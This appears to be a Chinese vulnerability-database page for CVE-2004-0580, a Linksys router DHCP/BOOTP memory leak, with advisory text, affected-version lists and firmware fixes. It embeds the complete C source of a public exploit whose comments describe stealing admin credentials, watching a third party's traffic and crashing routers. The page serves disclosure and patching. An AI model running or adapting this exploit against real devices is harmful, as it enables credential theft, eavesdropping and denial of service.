CVE-2004-0580
CVSS5.0
发布时间 :2004-08-06 00:00:00
修订时间 :2016-10-17 22:46:19
NMCOES    

[原文]DHCP on Linksys BEFSR11, BEFSR41, BEFSR81, and BEFSRU31 Cable/DSL Routers, firmware version 1.45.7, does not properly clear previously used buffer contents in a BOOTP reply packet, which allows remote attackers to obtain sensitive information.


[CNNVD]多种Linksys设备DHCP信息泄露和拒绝服务漏洞(CNNVD-200408-030)

        
        Linksys拥有多种网络设备产品线。
        多个Linksys设备在处理DHCP消息时存在问题,远程攻击者可以利用这个漏洞获得敏感信息或对设备进行拒绝服务攻击。
        这些设备内置的DHCP服务器存在安全漏洞,这些设备的DHCP服务器不正确处理BOOTP包,在返回BOOTP应答时会把内存中的部分信息填充到BOOTP字段中,因此攻击者可以通过嗅探网络通信获得敏感信息,也可能导致攻击者对设备进行拒绝服务攻击。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/h:linksys:befsr41:1.41Linksys EtherFast BEFSR41 Router 1.41
cpe:/h:linksys:wrt54g:1.42.3Linksys WRT54G 1.42.3
cpe:/h:linksys:befsx41:1.43.3Linksys BEFSX41 1.43.3
cpe:/h:linksys:befsr11:1.42.3Linksys EtherFast BEFSR11 Router 1.42.3
cpe:/h:linksys:befsx41:1.45.3Linksys BEFSX41 1.45.3
cpe:/h:linksys:befsx41:1.43.4Linksys BEFSX41 1.43.4
cpe:/h:linksys:befvp41:1.40.3fLinksys BEFVP41 1.40.3f
cpe:/h:linksys:befsr81:2.44Linksys EtherFast BEFSR81 Router 2.44
cpe:/h:linksys:befcmu10Linksys BEFCMU10
cpe:/h:linksys:befsx41:1.44Linksys BEFSX41 1.44
cpe:/h:linksys:befn2ps4:1.42.7Linksys BEFN2PS4 1.42.7
cpe:/h:linksys:befvp41:1.40.4Linksys BEFVP41 1.40.4
cpe:/h:linksys:befsr41:1.35Linksys EtherFast BEFSR41 Router 1.35
cpe:/h:linksys:befsr41:1.38.5Linksys EtherFast BEFSR41 Router 1.38
cpe:/h:linksys:wrt54g:2.00.8Linksys WRT54G 2.00.8
cpe:/h:linksys:befsr81:2.42.7.1Linksys EtherFast BEFSR81 Router 2.42.7
cpe:/h:linksys:befsru31:1.43.3Linksys EtherFast BEFSRU31 Router 1.43.3
cpe:/h:linksys:befvp41:1.39.64Linksys EtherFast BEFVP41 Router 1.39.64
cpe:/h:linksys:befsr11:1.40.2Linksys EtherFast BEFSR11 Router 1.40.2
cpe:/h:linksys:befsr41:1.39Linksys EtherFast BEFSR41 Router 1.39
cpe:/h:linksys:befsr41:1.36Linksys EtherFast BEFSR41 Router 1.36
cpe:/h:linksys:befsr41:1.37Linksys EtherFast BEFSR41 Router 1.37
cpe:/h:linksys:wap55ag:1.0.7Linksys WAP55AG 1.0.7
cpe:/h:linksys:befn2ps4Linksys BEFN2PS4
cpe:/h:linksys:befsr41:1.42.3Linksys EtherFast BEFSR41 Router 1.42.3
cpe:/h:linksys:befsr41:1.42.7Linksys BEFSR41 1.42.7
cpe:/h:linksys:befsr41:1.43Linksys EtherFast BEFSR41 Router 1.43
cpe:/h:linksys:befsr41:1.44Linksys EtherFast BEFSR41 Router 1.44
cpe:/h:linksys:befsr11:1.43Linksys EtherFast BEFSR11 Router 1.43
cpe:/h:linksys:befsr11:1.44Linksys EtherFast BEFSR11 Router 1.44
cpe:/h:linksys:befsx41:1.42.7Linksys BEFSX41 1.42.7
cpe:/h:linksys:befsr11:1.41Linksys EtherFast BEFSR11 Router 1.41
cpe:/h:linksys:befsr11:1.43.3Linksys EtherFast BEFSR11 Router 1.43.3
cpe:/h:linksys:befvp41Linksys BEFVP41
cpe:/h:linksys:befvp41:1.42.7Linksys BEFVP41 1.42.7
cpe:/h:linksys:befsx41:1.44.3Linksys BEFSX41 1.44.3
cpe:/h:linksys:befsr81Linksys BEFSR81
cpe:/h:linksys:befsr41:1.40.2Linksys EtherFast BEFSR41 Router 1.40.2
cpe:/h:linksys:befsru31:1.40.2Linksys EtherFast BEFSRU31 Router 1.40.2
cpe:/h:linksys:befsr41wLinksys BEFSR41W
cpe:/h:linksys:befsru31:1.42.7Linksys BEFSRU31 1.42.7
cpe:/h:linksys:befsx41:1.43Linksys BEFSX41 1.43
cpe:/h:linksys:befsr11:1.42.7Linksys BEFSR11 1.42.7
cpe:/h:linksys:befsru31:1.44Linksys EtherFast BEFSRU31 Router 1.44
cpe:/h:linksys:rv082Linksys RV082
cpe:/h:linksys:befsru31:1.43Linksys EtherFast BEFSRU31 Router 1.43
cpe:/h:linksys:befsru31:1.41Linksys EtherFast BEFSRU31 Router 1.41
cpe:/h:linksys:befsr41:1.43.3Linksys EtherFast BEFSR41 Router 1.43.3
cpe:/h:linksys:befsru31:1.42.3Linksys EtherFast BEFSRU31 Router 1.42.3
cpe:/h:linksys:befsr41:1.45.7Linksys EtherFast BEFSR41 Router 1.45.7

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0580
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0580
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200408-030
(官方数据源) CNNVD

- 其它链接及资源

http://linksys.custhelp.com/cgi-bin/linksys.cfg/php/enduser/std_adp.php?p_faqid=832&p_%20%5Ccreated=1086294093&p_sid=pU1X1idh&p_lva=&p_sp=cF9zcmNoPSZwX3NvcnRfYnk9JnBfZ3JpZHNvcnQ9%20%5CJnBfcm93X2NudD02NTQmcF9wYWdlPTE%2A&p_li=
(UNKNOWN)  CONFIRM  http://linksys.custhelp.com/cgi-bin/linksys.cfg/php/enduser/std_adp.php?p_faqid=832&p_%20\created=1086294093&p_sid=pU1X1idh&p_lva=&p_sp=cF9zcmNoPSZwX3NvcnRfYnk9JnBfZ3JpZHNvcnQ9%20\JnBfcm93X2NudD02NTQmcF9wYWdlPTE*&p_li=
http://marc.info/?l=bugtraq&m=108662876129301&w=2
(UNKNOWN)  BUGTRAQ  20040607 Linksys BEFSR41 DHCP vulnerability server leaks network data
http://securitytracker.com/alerts/2004/May/1010288.html
(UNKNOWN)  SECTRACK  1010288
http://www.securityfocus.com/bid/10329
(VENDOR_ADVISORY)  BID  10329
http://xforce.iss.net/xforce/xfdb/16142
(VENDOR_ADVISORY)  XF  linksys-etherfast-bootp-dos(16142)

- 漏洞信息

多种Linksys设备DHCP信息泄露和拒绝服务漏洞
中危 设计错误
2004-08-06 00:00:00 2005-10-20 00:00:00
远程  
        
        Linksys拥有多种网络设备产品线。
        多个Linksys设备在处理DHCP消息时存在问题,远程攻击者可以利用这个漏洞获得敏感信息或对设备进行拒绝服务攻击。
        这些设备内置的DHCP服务器存在安全漏洞,这些设备的DHCP服务器不正确处理BOOTP包,在返回BOOTP应答时会把内存中的部分信息填充到BOOTP字段中,因此攻击者可以通过嗅探网络通信获得敏感信息,也可能导致攻击者对设备进行拒绝服务攻击。
        

- 公告与补丁

        厂商补丁:
        Linksys
        -------
        Linksys BEFSR41可升级到1.05.00固件版本,其他设备可联系供应商获得:
        
        http://www.linksys.com/products/group.asp?grid=23

- 漏洞信息 (24115)

Multiple Linksys Devices DHCP Information Disclosure (EDBID:24115)
hardware remote
2004-05-31 Verified
0 Jon Hart
N/A [点击下载]
source: http://www.securityfocus.com/bid/10329/info

It has been reported that the built-in DHCP server on these devices are prone to an information disclosure vulnerability. When attempting to exploit this issue, it has been reported that a denial of service condition may occur, stopping legitimate users from using the device.

The DHCP server application on the device reportedly does not handle BOOTP packets properly, and can disclose the contents of the devices memory to an attacker. It may be possible for an attacker to use this vulnerability to watch traffic on an affected device. It may also be possible for an attacker to crash the device and deny service to legitimate users.

/*
 *
 * Apparently Linksys devices that have a DHCP server on them
 * don't properly handle BOOTP packets.  Instead of returning
 * legitimate BOOTP responses, they  return BOOTP responses with
 * the BOOTP fields filled in with portions of memory.  This
 * allows you to do cool things like the equivalent of sniffing
 * all the traffic to/from the device.
 *
 * To the best of my knowledge, this only allows you to read
 * traffic that was recently sent to/from the linksys device 
 * (on any of its ports if its a hub/switch).  I have successfully
 * used this technique to steal the admin username and password
 * from an innocent third party who recently configured the device,
 * and I watched someone's traffic as they browsed ebay for a new 
 * Ti-Book.  In a number of cases, after sufficient packets were sent,
 * the device stopped routing packets and would only continue working
 * again after a power cycle.
 *
 * You won't always get memory on the first packet, so try
 * sending many packets.  Even if you do get portions of memory,
 * you'll only get something interesting if the linksys device was 
 * recently active.
 *
 * If you try the payload option, you can see that canary value in 
 * BOOTP reply packets -- not necessarily right away, but eventually.  
 * This usually appears in the BOOTP vendor specific options field,
 * typically right at the very beginning.
 *
 * Tested on a fully updated Linksys BEFSR41 and BEFW11S4, but 
 * will likely work on all Linksys devices that have a DHCP
 * server.  Currently, this looks to include at least the BEFN2PS4, 
 * BEFSR41, BEFSR81, BEFSX41, RV082, BEFCMU10, BEFSR11, BEFSR41W,
 * BEFSRU31, BEFVP41, WRT55AG, WRV54G, WRT51AB
 * 
 *
 * Requires libnet (1.1.x) and libpcap
 *
 * Compile with something like:
 *
 * gcc -Wall -I/usr/include `libnet-config --defines --cflags` \
 * -o linksys-dhcp-exploit linksys-dhcp-exploit.c `libnet-config --libs` -lpcap
 * 
 *
 * Jon Hart <warchild@spoofed.org>
 *
 * Copyright (c) 2004, Jon Hart 
 * All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without modification, 
 *  are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice, 
 *    this list of conditions and the following disclaimer.
 *  * Redistributions in binary form must reproduce the above copyright notice, 
 *    this list of conditions and the following disclaimer in the documentation 
 *    and/or other materials provided with the distribution.
 *  * Neither the name of the organization nor the names of its contributors may
 *    be used to endorse or promote products derived from this software without 
 *    specific prior written permission.
 *
 *
 *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
 *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
 *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
 *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
 *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
 *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
 *  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
 *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
 *  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

#include <libnet.h>
#include <pcap.h>
#if (SOLARIS || BSD)
#include <netinet/if_ether.h>
#else
#include <netinet/ether.h>
#endif

#define HEXDUMP_BYTES_PER_LINE 16
#define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2)
#define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */
#define HEXDUMP_HEXSTUFF_PER_LINE \
            (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE)

void ascii_print_with_offset(register const u_char *cp, register u_int length);
void usage();
void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet);

int main(int argc, char *argv[]) {

	int c, time = 5, dump = 0, count = 0;

	libnet_t *libnet;
	struct libnet_stats stats_libnet;
	libnet_ptag_t ether, ipv4, udp, bootp;
	struct libnet_ether_addr *src_ether;

	pcap_t *pcap;
	struct pcap_stat stats_pcap;
	struct bpf_program filter;
	char filter_exp[] = "src port 67 and dst port 68";
	bpf_u_int32 mask, net;

	char errbuf[LIBNET_ERRBUF_SIZE];
	char *interface = NULL;
	char *payload = NULL;
	u_char bcast_ether[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

	while ((c = getopt(argc, argv, "c:i:p:s:X")) != EOF) {
		switch (c) {
			case 'c':
					count = atoi(optarg);
					break;
			case 'i':
				interface = optarg;
				break;
			case 'p':
				payload = optarg;
				break;
			case 's':
				time = atoi(optarg);
				break;
			case 'X':
				dump = 1;
				break;
			default:
				 usage();
				 return(1);
		}
	}


	if (interface == NULL) {
			fprintf(stderr, "Please specify an interface\n");
			usage();
			return(1);
	}

	if ((libnet = libnet_init(LIBNET_LINK, interface, errbuf)) == NULL) {
		fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
		return(1);
	}

	if ((src_ether = libnet_get_hwaddr(libnet)) == NULL) {
		fprintf(stderr, "Couldn't determine src ethernet: %s\n", errbuf);
		libnet_destroy(libnet);
		return(1);
	}

	memset(&stats_libnet, 0, sizeof(struct libnet_stats));

	libnet_seed_prand(libnet);
	
	if ((pcap = pcap_open_live(interface, BUFSIZ, 0, 5000, errbuf)) == NULL) {
		fprintf(stderr, "pcap_open_live() failed: %s\n", errbuf);
		libnet_destroy(libnet);
		return(1);
	}

	if (pcap_lookupnet(interface, &net, &mask, errbuf) == -1) {
		fprintf(stderr, "pcap_lookupnet() failed: %s\n", errbuf);
		libnet_destroy(libnet);
		pcap_close(pcap);
		return(1);
	}

	if (pcap_compile(pcap, &filter, filter_exp, 0, net) == -1) {
		fprintf(stderr, "pcap_compile() failed: %s\n", pcap_geterr(pcap));
		libnet_destroy(libnet);
		pcap_close(pcap);
	}

	if (pcap_setfilter(pcap, &filter) == -1) {
		fprintf(stderr, "pcap_setfilter() failed: %s\n", pcap_geterr(pcap));
		libnet_destroy(libnet);
		pcap_freecode(&filter);
		pcap_close(pcap);
	}

	memset(&stats_pcap, 0, sizeof(struct pcap_stat));

	/* If we want to tack some "payload" into the BOOTP packet, 
	 * we must do it here before the bootp stuff is built
	 */
	if (!(payload == NULL)) {
			libnet_build_data((u_char *) payload, strlen(payload), libnet, 0);
	}

	/* The device seems to croak on the simplest of BOOTP packets,
	 * so lets do that, shall we
	 */
	bootp = libnet_build_bootpv4(
				LIBNET_DHCP_REQUEST,
				1,
				ETHER_ADDR_LEN,
				0,
				libnet_get_prand(LIBNET_PR32),
				0,
				0x8000,
				0,
				0,
				0,
				0,
				src_ether->ether_addr_octet,
				NULL,
				NULL,
				NULL,
				0,
				libnet,
				0);

	if (bootp == -1) {
		fprintf(stderr, "Can't build bootp: %s\n", libnet_geterror(libnet));
		goto die;
	}

	udp = libnet_build_udp(
			68,
			67,
			LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)),
			0,
			NULL,
			0,
			libnet,
			0);


	if (udp == -1) {
		fprintf(stderr, "Can't build udp: %s\n", libnet_geterror(libnet));
		goto die;
	}

	ipv4 = libnet_build_ipv4(
				LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)),
				0,
				libnet_get_prand(LIBNET_PR16),
				IP_DF,
				libnet_get_prand(LIBNET_PR8),
				IPPROTO_UDP,
				0,
				inet_addr("0.0.0.0"),
				inet_addr("255.255.255.255"),
				NULL,
				0,
				libnet,
				0);

	if (ipv4 == -1) {
			fprintf(stderr, "Can't build ipv4: %s\n", libnet_geterror(libnet));
			goto die;
	}

	ether = libnet_autobuild_ethernet(bcast_ether, ETHERTYPE_IP, libnet);	

	if (ether == -1) {
			fprintf(stderr, "Can't build ethernet: %s\n", libnet_geterror(libnet));
			goto die;
	}

	if (count == 0) {
		for(;;) {
			libnet_write(libnet);
			if (dump) {
				if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
					pcap_perror(pcap, "Error: ");
				}
			}
			sleep(time);
		}
	} else {
		for (c = 0; c < count; c++) { 
			libnet_write(libnet);
			if (dump) {
				if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
					pcap_perror(pcap, "Error: ");
				}
			}
			if (!(c + 1 == count)) {
				sleep(time);
			}
		}
	}

	libnet_stats(libnet, &stats_libnet);
	
	if (pcap_stats(pcap, &stats_pcap) == -1) {
		fprintf(stderr, "pcap_stats() failed: %s\n", pcap_geterr(pcap));
	} else {
		fprintf(stderr, "\nSent: %lld Received: %d Dropped: %d\n",
				stats_libnet.packets_sent, stats_pcap.ps_recv, stats_pcap.ps_drop);
	}

	goto die;

die:
	libnet_destroy(libnet);
	pcap_freecode(&filter);
	pcap_close(pcap);
	return(0);
}

/* Borrowed from tcpdump */
void ascii_print_with_offset(register const u_char *cp, register u_int length) {
	register u_int i, oset = 0;
	register int s1, s2, chr = 0;
	register int nshorts;
	char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp;
	char asciistuff[HEXDUMP_BYTES_PER_LINE+1], *asp;
	char *ascii_color = "01;32";

	nshorts = length / sizeof(u_short);
	i = 0;
	hsp = hexstuff; asp = asciistuff;
	while (--nshorts >= 0) {
		s1 = *cp++;
		s2 = *cp++;
		(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
							" %02x%02x", s1, s2);
		hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
		*(asp++) = s1;
		*(asp++) = s2;
		if (++i >= HEXDUMP_SHORTS_PER_LINE) {
			*hsp = *asp = '\0';
			(void)printf("\n0x%04x\t%-*s ",
			oset, HEXDUMP_HEXSTUFF_PER_LINE,
			hexstuff);
			for (chr = 0; chr < sizeof(asciistuff) - 1; chr++) {
				if (isprint(asciistuff[chr])) {
					(void)printf("\33[%sm", ascii_color);
					(void)printf("%c", asciistuff[chr]);
					fputs("\33[00m", stdout);
				} else {
					(void)printf(".");
				}
			}
			i = 0; hsp = hexstuff; asp = asciistuff;
			oset += HEXDUMP_BYTES_PER_LINE;
		}
	}
	if (length & 1) {
		s1 = *cp++;
		(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
							" %02x", s1);
		hsp += 3;
		*(asp++) = s1;
		++i;
	}
	if (i > 0) {
		*hsp = *asp = '\0';
		(void)printf("\n0x%04x\t%-*s ",
						oset, HEXDUMP_HEXSTUFF_PER_LINE,
						hexstuff);
		for (chr = 0; chr < sizeof(asciistuff) - 1 && asciistuff[chr] != '\0'; chr++) {
			if (isgraph(asciistuff[chr])) {
				(void)printf("\33[%sm", ascii_color);
				(void)printf("%c", asciistuff[chr]);
				fputs("\33[00m", stdout);
			} else {
				(void)printf(".");
			}
		}
	}
}

void usage() {
	fprintf(stderr, "\tLinksys dhcp memory disclosure exploit\n");
	fprintf(stderr, "\tby Jon Hart <warchild@spoofed.org>\n");
	fprintf(stderr, "\thttp://spoofed.org/files/linksys-dhcp-exploit.c\n");
	fprintf(stderr, "\n\tUsage:\n");
	fprintf(stderr, "\t\t-c count  # number of packets to send\n");
	fprintf(stderr, "\t\t-i interface  # interface to send packets to\n");
	fprintf(stderr, "\t\t-p payload # payload to put in the bootp packet\n");
	fprintf(stderr, "\t\t-s seconds  # (optional) seconds to sleep between packets\n");
	fprintf(stderr, "\t\t-X   # dump captured data\n");
	fprintf(stderr, "\n\n");
}

void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet) {

	struct ether_header *ether = (struct ether_header *) packet;
	struct iphdr *ip;
	u_int jump = 0;

	if (ntohs(ether->ether_type) != ETHERTYPE_IP) {
		return;
	}

	/* Jump past the ethernet header */
	jump += LIBNET_ETH_H;
	ip = (struct iphdr *)(packet + jump);

	/* Jump past the IP header */
	jump += ip->ihl * 4;

	/* Jump past the UDP header */
	jump += LIBNET_UDP_H;

	/* Now print out the UDP data, which is just the BOOTP portion of 
	 * the packet.  This should contain the interesting data.
	 */
	ascii_print_with_offset(packet + jump, packet_header->caplen - jump);
	printf("\n");
}		

- 漏洞信息

6741
Cisco Linksys BEFSR41 DHCP Network Data Information Disclosure
Remote / Network Access Information Disclosure
Loss of Confidentiality
Exploit Public

- 漏洞描述

The firmware in Linksys BEFSR41 Cable/DSL Router contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered due to the integrated DHCP server when handling BOOTP packets, which will disclose sensitive information resulting in a loss of confidentiality.

- 时间线

2004-05-13 2004-05-02
2004-05-13 Unknow

- 解决方案

Upgrade to firmware version 1.45.11 (Revision 1 and 2) and 1.05.00 (Revision 3) or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Multiple Linksys Devices DHCP Information Disclosure and Denial of Service Vulnerability
Design Error 10329
Yes No
2004-05-13 12:00:00 2009-07-12 04:07:00
Jon Hart <warchild@spoofed.org> is credited for discovery.

- 受影响的程序版本

Linksys WRT54G v2.0 2.0 0.8 (Firmware)
Linksys WPC300N - Wireless-N Notebook Adapter 4.100.15.5
Linksys WAP55AG 1.0.7
Linksys RV082
Linksys EtherFast BEFVP41 Router 1.39.64
Linksys EtherFast BEFVP41 Router
Linksys EtherFast BEFSRU31 Router 1.44
Linksys EtherFast BEFSRU31 Router 1.43.3
Linksys EtherFast BEFSRU31 Router 1.43
Linksys EtherFast BEFSRU31 Router 1.42.7
Linksys EtherFast BEFSRU31 Router 1.42.3
Linksys EtherFast BEFSRU31 Router 1.41
Linksys EtherFast BEFSRU31 Router 1.40.2
Linksys EtherFast BEFSR81 Router 2.44
Linksys EtherFast BEFSR81 Router 2.42.7
Linksys EtherFast BEFSR81 Router
Linksys EtherFast BEFSR41 Router 1.45.7
Linksys EtherFast BEFSR41 Router 1.44
Linksys EtherFast BEFSR41 Router 1.43.3
Linksys EtherFast BEFSR41 Router 1.43
Linksys EtherFast BEFSR41 Router 1.42.7
Linksys EtherFast BEFSR41 Router 1.42.3
Linksys EtherFast BEFSR41 Router 1.41
Linksys EtherFast BEFSR41 Router 1.40.2
Linksys EtherFast BEFSR41 Router 1.39
Linksys EtherFast BEFSR41 Router 1.38
Linksys EtherFast BEFSR41 Router 1.37
Linksys EtherFast BEFSR41 Router 1.36
Linksys EtherFast BEFSR41 Router 1.35
Linksys EtherFast BEFSR11 Router 1.44
Linksys EtherFast BEFSR11 Router 1.43.3
Linksys EtherFast BEFSR11 Router 1.43
Linksys EtherFast BEFSR11 Router 1.42.7
Linksys EtherFast BEFSR11 Router 1.42.3
Linksys EtherFast BEFSR11 Router 1.41
Linksys EtherFast BEFSR11 Router 1.40.2
Linksys EtherFast BEFN2PS4 Router
Linksys BEFVP41 1.42.7
Linksys BEFVP41 1.40 .4
Linksys BEFVP41 1.40 .3f
Linksys BEFSX41 1.45.3
Linksys BEFSX41 1.44.3
Linksys BEFSX41 1.44
Linksys BEFSX41 1.43.4
Linksys BEFSX41 1.43.3
Linksys BEFSX41 1.43
Linksys BEFSX41 1.42.7
Linksys BEFSR81
Linksys BEFSR41W
Linksys BEFN2PS4 1.42.7
Linksys BEFCMU10
Linksys EtherFast BEFSR41 Router 1.0 5.00

- 不受影响的程序版本

Linksys EtherFast BEFSR41 Router 1.0 5.00

- 漏洞讨论

It has been reported that the built-in DHCP server on these devices are prone to an information disclosure vulnerability. When attempting to exploit this issue, it has been reported that a denial of service condition may occur, stopping legitimate users from using the device.

The DHCP server application on the device reportedly does not handle BOOTP packets properly, and can disclose the contents of the devices memory to an attacker. It may be possible for an attacker to use this vulnerability to watch traffic on an affected device. It may also be possible for an attacker to crash the device and deny service to legitimate users.

- 漏洞利用

An exploit has been provided by Jon Hart &lt;warchild@spoofed.org&gt;.

- 解决方案

Upgrade to firmware version 1.05.00 for BEFSR41. Other firmware upgrades may be available for other devices.

Currently we are not aware of any other vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站